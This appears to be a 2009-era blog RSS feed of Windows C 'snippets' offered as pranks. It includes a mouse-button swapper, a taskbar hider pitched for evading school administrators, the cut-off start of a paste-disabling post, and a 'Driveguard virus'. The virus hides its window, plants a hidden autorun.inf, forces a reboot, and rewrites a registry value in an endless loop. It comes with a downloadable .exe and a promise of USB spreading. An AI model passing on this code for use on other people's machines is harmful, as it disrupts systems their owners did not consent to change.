<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Technobuz &#187; C snippets</title>
	<atom:link href="http://technobuz.com/category/programming/c-snippets/feed/" rel="self" type="application/rss+xml" />
	<link>http://technobuz.com</link>
	<description>For blog tips,Templates ,hacks ,programming fun and tweaks.</description>
	<lastBuildDate>Sat, 03 Jul 2010 12:51:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Swap Mouse Keys &#8211; &#8220;C&#8221; code</title>
		<link>http://technobuz.com/2009/01/swap-mouse-keys-c-code/</link>
		<comments>http://technobuz.com/2009/01/swap-mouse-keys-c-code/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 09:17:45 +0000</pubDate>
		<dc:creator>Shunmugha</dc:creator>
				<category><![CDATA[C snippets]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c code to swap mouse keys]]></category>
		<category><![CDATA[swap mouse keys]]></category>
		<category><![CDATA[swap mouse keys program]]></category>
		<category><![CDATA[swap mouse keys programmatically]]></category>

		<guid isPermaLink="false">http://technobuz.com/?p=320</guid>
		<description><![CDATA[
			
				
			
		
It is a simple piece of code but every effective and annoying!Prank your friends with it:)Compile using any 32 bit &#8220;C&#8221; compiler.


//coded by sham;
#include&#60;windows.h&#62;
int main()
{
BOOL bOldState;
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,TRUE,bOldState, 0);
}

Download .exe
Solution:To change it ,set parameter as FALSE and execute,else change in mouse properties from control panel.
Copyright &#169; 2010 Technobuz. This Feed is for personal non-commercial use only. If [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fswap-mouse-keys-c-code%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fswap-mouse-keys-c-code%2F&amp;source=shamrocksu88&amp;style=normal" height="61" width="50" title="Swap Mouse Keys   C code" alt=" Swap Mouse Keys   C code" /><br />
			</a>
		</div>
<p>It is a simple piece of code but every effective and annoying!Prank your friends with it:)Compile using any 32 bit &#8220;C&#8221; compiler.</p>
<pre class="brush: jscript;">

//coded by sham;
#include&lt;windows.h&gt;
int main()
{
BOOL bOldState;
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,TRUE,bOldState, 0);
}
</pre>
<p><a href="http://whereismycabin.googlepages.com/swapmousekeys.exe">Download .exe</a></p>
<p>Solution:To change it ,set parameter as FALSE and execute,else change in mouse properties from control panel.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://technobuz.com">Technobuz</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact legal@technobuz.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>

<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center sexy-bookmarks-bg-love">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-technorati">
			<a href="http://technorati.com/faves?add=http://technobuz.com/2009/01/swap-mouse-keys-c-code/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Swap+Mouse+Keys+-+%22C%22+code+-+http://b2l.me/uu2m6+(via+@shamrocksu88)&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-comfeed">
			<a href="http://technobuz.com/2009/01/swap-mouse-keys-c-code/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code&amp;summary=It%20is%20a%20simple%20piece%20of%20code%20but%20every%20effective%20and%20annoying%21Prank%20your%20friends%20with%20it%3A%29Compile%20using%20any%2032%20bit%20%22C%22%20compiler.%0D%0A%5Bjavascript%5D%0D%0A%0D%0A%2F%2Fcoded%20by%20sham%3B%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0Aint%20main%28%29%0D%0A%7B%0D%0ABOOL%20bOldState%3B%0D%0ASystemParametersInfo%28SPI_SETMOUSEBUTTONSWAP%2CTRUE%2CbOldState%2C%200%29%3B%0D%0A%7D%0D%0A%5B%2Fjavascr&amp;source=Technobuz" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebookmarks">
			<a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a>
		</li>
		<li class="sexy-tipd">
			<a href="http://tipd.com/submit.php?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/" rel="nofollow" class="external" title="Share this on Tipd">Share this on Tipd</a>
		</li>
		<li class="sexy-orkut">
			<a href="http://promote.orkut.com/preview?nt=orkut.com&amp;tt=Swap+Mouse+Keys+-+%22C%22+code&amp;du=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;cn=It%20is%20a%20simple%20piece%20of%20code%20but%20every%20effective%20and%20annoying%21Prank%20your%20friends%20with%20it%3A%29Compile%20using%20any%2032%20bit%20%22C%22%20compiler.%0D%0A%5Bjavascript%5D%0D%0A%0D%0A%2F%2Fcoded%20by%20sham%3B%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0Aint%20main%28%29%0D%0A%7B%0D%0ABOOL%20bOldState%3B%0D%0ASystemParametersInfo%28SPI_SETMOUSEBUTTONSWAP%2CTRUE%2CbOldState%2C%200%29%3B%0D%0A%7D%0D%0A%5B%2Fjavascr" rel="nofollow" class="external" title="Promote this on Orkut">Promote this on Orkut</a>
		</li>
		<li class="sexy-blogger">
			<a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;n=Swap+Mouse+Keys+-+%22C%22+code&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a>
		</li>
		<li class="sexy-diigo">
			<a href="http://www.diigo.com/post?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code&amp;desc=It%20is%20a%20simple%20piece%20of%20code%20but%20every%20effective%20and%20annoying%21Prank%20your%20friends%20with%20it%3A%29Compile%20using%20any%2032%20bit%20%22C%22%20compiler.%0D%0A%5Bjavascript%5D%0D%0A%0D%0A%2F%2Fcoded%20by%20sham%3B%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0Aint%20main%28%29%0D%0A%7B%0D%0ABOOL%20bOldState%3B%0D%0ASystemParametersInfo%28SPI_SETMOUSEBUTTONSWAP%2CTRUE%2CbOldState%2C%200%29%3B%0D%0A%7D%0D%0A%5B%2Fjavascr" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a>
		</li>
		<li class="sexy-mixx">
			<a href="http://www.mixx.com/submit?page_url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;title=Swap+Mouse+Keys+-+%22C%22+code" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://technobuz.com/2009/01/swap-mouse-keys-c-code/&amp;bm_description=Swap+Mouse+Keys+-+%22C%22+code&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://technobuz.com/2009/01/swap-mouse-keys-c-code/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Simple Driveguard Virus in&#8221;C&#8221;</title>
		<link>http://technobuz.com/2009/01/simple-driveguard-virus-in-c/</link>
		<comments>http://technobuz.com/2009/01/simple-driveguard-virus-in-c/#comments</comments>
		<pubDate>Sun, 25 Jan 2009 10:10:46 +0000</pubDate>
		<dc:creator>Shunmugha</dc:creator>
				<category><![CDATA[C snippets]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Driveguard Virus]]></category>

		<guid isPermaLink="false">http://technobuz.com/?p=294</guid>
		<description><![CDATA[
			
				
			
		
What this virus will do?
In its presence you cannot open the drive with double click.I have written it to guard only &#8220;C&#8221; drive modify it to guard any drive.It will hide itself its window will not be visible and on its execution will restart the system.After the system boots you will not be able to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fsimple-driveguard-virus-in-c%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fsimple-driveguard-virus-in-c%2F&amp;source=shamrocksu88&amp;style=normal" height="61" width="50" title="Simple Driveguard Virus inC" alt=" Simple Driveguard Virus inC" /><br />
			</a>
		</div>
<blockquote><p>What this virus will do?</p></blockquote>
<p>In its presence you cannot open the drive with double click.I have written it to guard only &#8220;C&#8221; drive modify it to guard any drive.It will hide itself its window will not be visible and on its execution will restart the system.After the system boots you will not be able to double click and open the drive.</p>
<blockquote><p>Solution</p></blockquote>
<p>Find and delete the autorun.inf file(will b hidden)in &#8220;c&#8221; drive and restart the system.In next post will tell how to run the virus when some one double clicks the USB infecting their system:-)</p>
<pre name="code" class="cpp">/*Simple DriveGuard virus in "C"
Coded by sham*/
/*Solution:To remove de virus just delete the "autorun.inf" file
it will be in hidden mode*/
#include&lt;windows.h&gt;
#include&lt;process.h&gt;
#include&lt;conio.h&gt;

int main()
{
    FILE *fp;
    HWND hwnd = GetForegroundWindow();
    HKEY hKey;
    DWORD val =2;
    ShowWindow(hwnd,SW_HIDE);//Hide its own console window
    fp=fopen("c:\\autorun.inf","w");
    fprintf(fp,"[autorun]\n");
    fprintf( fp,"open notepad.exe");
    fprintf( fp,"\n");
    fprintf(fp,"shell\\virus=I am a virus!");
    fprintf( fp,"\n");
    fprintf(fp,"shell\\virus\\command=notepad.exe");
    fprintf( fp,"\n");
    fprintf(fp,"shell=virus");
    fclose(fp);
    system("attrib +H c:\\autorun.inf");//To be be in hidden mode
  system("shutdown -r -t 10");// restart the system after 10 seconds

while(1)
{
        sleep(50);
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", 0,KEY_ALL_ACCESS,&amp;hKey);
RegSetValueEx(hKey,"Hidden",0,REG_DWORD,(DWORD)&amp;val, sizeof(val));
}
 getch();
return 0;
}</pre>
<p><a href="http://whereismycabin.googlepages.com/driveguardvirus.exe">Download .exe</a></p>
<hr/>Copyright &copy; 2010 <strong><a href="http://technobuz.com">Technobuz</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact legal@technobuz.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>

<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center sexy-bookmarks-bg-love">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-technorati">
			<a href="http://technorati.com/faves?add=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Simple+Driveguard+Virus+in%22C%22+-+http://b2l.me/uydm7+(via+@shamrocksu88)&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-comfeed">
			<a href="http://technobuz.com/2009/01/simple-driveguard-virus-in-c/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22&amp;summary=What%20this%20virus%20will%20do%3F%0D%0AIn%20its%20presence%20you%20cannot%20open%20the%20drive%20with%20double%20click.I%20have%20written%20it%20to%20guard%20only%20%22C%22%20drive%20modify%20it%20to%20guard%20any%20drive.It%20will%20hide%20itself%20its%20window%20will%20not%20be%20visible%20and%20on%20its%20execution%20will%20restart%20the%20system.After%20the%20system%20boots%20you%20will%20not%20be%20able%20to%20&amp;source=Technobuz" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebookmarks">
			<a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a>
		</li>
		<li class="sexy-tipd">
			<a href="http://tipd.com/submit.php?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/" rel="nofollow" class="external" title="Share this on Tipd">Share this on Tipd</a>
		</li>
		<li class="sexy-orkut">
			<a href="http://promote.orkut.com/preview?nt=orkut.com&amp;tt=Simple+Driveguard+Virus+in%22C%22&amp;du=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;cn=What%20this%20virus%20will%20do%3F%0D%0AIn%20its%20presence%20you%20cannot%20open%20the%20drive%20with%20double%20click.I%20have%20written%20it%20to%20guard%20only%20%22C%22%20drive%20modify%20it%20to%20guard%20any%20drive.It%20will%20hide%20itself%20its%20window%20will%20not%20be%20visible%20and%20on%20its%20execution%20will%20restart%20the%20system.After%20the%20system%20boots%20you%20will%20not%20be%20able%20to%20" rel="nofollow" class="external" title="Promote this on Orkut">Promote this on Orkut</a>
		</li>
		<li class="sexy-blogger">
			<a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;n=Simple+Driveguard+Virus+in%22C%22&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a>
		</li>
		<li class="sexy-diigo">
			<a href="http://www.diigo.com/post?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22&amp;desc=What%20this%20virus%20will%20do%3F%0D%0AIn%20its%20presence%20you%20cannot%20open%20the%20drive%20with%20double%20click.I%20have%20written%20it%20to%20guard%20only%20%22C%22%20drive%20modify%20it%20to%20guard%20any%20drive.It%20will%20hide%20itself%20its%20window%20will%20not%20be%20visible%20and%20on%20its%20execution%20will%20restart%20the%20system.After%20the%20system%20boots%20you%20will%20not%20be%20able%20to%20" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a>
		</li>
		<li class="sexy-mixx">
			<a href="http://www.mixx.com/submit?page_url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;title=Simple+Driveguard+Virus+in%22C%22" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://technobuz.com/2009/01/simple-driveguard-virus-in-c/&amp;bm_description=Simple+Driveguard+Virus+in%22C%22&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://technobuz.com/2009/01/simple-driveguard-virus-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hide Task Bar -&#8221;C&#8221; code</title>
		<link>http://technobuz.com/2009/01/hide-task-bar-c-code/</link>
		<comments>http://technobuz.com/2009/01/hide-task-bar-c-code/#comments</comments>
		<pubDate>Sat, 24 Jan 2009 10:41:18 +0000</pubDate>
		<dc:creator>Shunmugha</dc:creator>
				<category><![CDATA[C snippets]]></category>
		<category><![CDATA[Hide Task bar C code]]></category>

		<guid isPermaLink="false">http://technobuz.com/?p=247</guid>
		<description><![CDATA[
			
				
			
		
Here is simple piece of code in &#8220;C&#8221; to Hide the Taskbar.It will not be visible even if you roll the mouse over it:)It will be useful when playing games in schools and colleges to escape from admin:-)
#include&#60;windows.h&#62;
#include&#60;process.h&#62;
//coded by sham
int main()
{
    HWND h;
       while(1)
   [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fhide-task-bar-c-code%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Ftechnobuz.com%2F2009%2F01%2Fhide-task-bar-c-code%2F&amp;source=shamrocksu88&amp;style=normal" height="61" width="50" title="Hide Task Bar  C code" alt=" Hide Task Bar  C code" /><br />
			</a>
		</div>
<p>Here is simple piece of code in &#8220;C&#8221; to Hide the Taskbar.It will not be visible even if you roll the mouse over it:)It will be useful when playing games in schools and colleges to escape from admin:-)</p>
<pre name="code" class="cpp">#include&lt;windows.h&gt;
#include&lt;process.h&gt;
//coded by sham
int main()
{
    HWND h;
       while(1)
    {
            sleep(20);
            h=FindWindow("Shell_TrayWnd","");//Get handle of Taskbar
            ShowWindow(h,SW_HIDE);
}

}
</pre>
<p><img src="http://whereismycabin.googlepages.com/hidetaskbar.JPG" alt="hide taskbar" width="447" height="334" title="Hide Task Bar  C code" /></p>
<hr/>Copyright &copy; 2010 <strong><a href="http://technobuz.com">Technobuz</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact legal@technobuz.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>

<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center sexy-bookmarks-bg-love">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-technorati">
			<a href="http://technorati.com/faves?add=http://technobuz.com/2009/01/hide-task-bar-c-code/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Hide+Task+Bar+-%22C%22+code+-+http://b2l.me/u2syc+(via+@shamrocksu88)&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-comfeed">
			<a href="http://technobuz.com/2009/01/hide-task-bar-c-code/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code&amp;summary=Here%20is%20simple%20piece%20of%20code%20in%20%22C%22%20to%20Hide%20the%20Taskbar.It%20will%20not%20be%20visible%20even%20if%20you%20roll%20the%20mouse%20over%20it%3A%29It%20will%20be%20useful%20when%20playing%20games%20in%20schools%20and%20colleges%20to%20escape%20from%20admin%3A-%29%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0A%23include%26lt%3Bprocess.h%26gt%3B%0D%0A%2F%2Fcoded%20by%20sham%0D%0Aint%20main%28%29%0D%0A%7B%0D%0A%20%20%20%20HWND%20h%3B%0D%0A&amp;source=Technobuz" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebookmarks">
			<a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a>
		</li>
		<li class="sexy-tipd">
			<a href="http://tipd.com/submit.php?url=http://technobuz.com/2009/01/hide-task-bar-c-code/" rel="nofollow" class="external" title="Share this on Tipd">Share this on Tipd</a>
		</li>
		<li class="sexy-orkut">
			<a href="http://promote.orkut.com/preview?nt=orkut.com&amp;tt=Hide+Task+Bar+-%22C%22+code&amp;du=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;cn=Here%20is%20simple%20piece%20of%20code%20in%20%22C%22%20to%20Hide%20the%20Taskbar.It%20will%20not%20be%20visible%20even%20if%20you%20roll%20the%20mouse%20over%20it%3A%29It%20will%20be%20useful%20when%20playing%20games%20in%20schools%20and%20colleges%20to%20escape%20from%20admin%3A-%29%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0A%23include%26lt%3Bprocess.h%26gt%3B%0D%0A%2F%2Fcoded%20by%20sham%0D%0Aint%20main%28%29%0D%0A%7B%0D%0A%20%20%20%20HWND%20h%3B%0D%0A" rel="nofollow" class="external" title="Promote this on Orkut">Promote this on Orkut</a>
		</li>
		<li class="sexy-blogger">
			<a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;n=Hide+Task+Bar+-%22C%22+code&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a>
		</li>
		<li class="sexy-diigo">
			<a href="http://www.diigo.com/post?url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code&amp;desc=Here%20is%20simple%20piece%20of%20code%20in%20%22C%22%20to%20Hide%20the%20Taskbar.It%20will%20not%20be%20visible%20even%20if%20you%20roll%20the%20mouse%20over%20it%3A%29It%20will%20be%20useful%20when%20playing%20games%20in%20schools%20and%20colleges%20to%20escape%20from%20admin%3A-%29%0D%0A%23include%26lt%3Bwindows.h%26gt%3B%0D%0A%23include%26lt%3Bprocess.h%26gt%3B%0D%0A%2F%2Fcoded%20by%20sham%0D%0Aint%20main%28%29%0D%0A%7B%0D%0A%20%20%20%20HWND%20h%3B%0D%0A" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a>
		</li>
		<li class="sexy-mixx">
			<a href="http://www.mixx.com/submit?page_url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;title=Hide+Task+Bar+-%22C%22+code" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://technobuz.com/2009/01/hide-task-bar-c-code/&amp;bm_description=Hide+Task+Bar+-%22C%22+code&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://technobuz.com/2009/01/hide-task-bar-c-code/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Disable paste option &#8211; &#8216;C&#8217; code</title>
		<link>http://technobuz.com/2008/12/disable-paste-option-using-c-code/</link>
		<comments>http://technobuz.com/2008/12/disable-paste-option-using-c-code/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 10:30:49 +0000</pubDate>
		<dc:creator>Shunmugha</dc:creator>
				<category><![CDATA[C snippets]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c code to disable paste option]]></category>

		<guid isPermaLink="false">http://shunmugha.blog.co.in/?p=149</guid>
		<description><![CDATA[
			
				
			
		
Here is a simple &#8220;C&#8221; code that i wrote to disable paste option.It will be very useful in educational institutions for administrators:)It also hides itself from task manager applications running list.Here is the code.


/* coded by sham*/

/* To "disable Paste" option in windows*/
/*clipboard will be present at system 32 folder*/

#include&#60;windows.h&#62;

#include &#60;stdio.h&#62;

void sleep(int);

int main()
{
OpenClipboard(GetForegroundWindow());/*opening clipboard,a win32 [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Ftechnobuz.com%2F2008%2F12%2Fdisable-paste-option-using-c-code%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Ftechnobuz.com%2F2008%2F12%2Fdisable-paste-option-using-c-code%2F&amp;source=shamrocksu88&amp;style=normal" height="61" width="50" title="Disable paste option   C code" alt=" Disable paste option   C code" /><br />
			</a>
		</div>
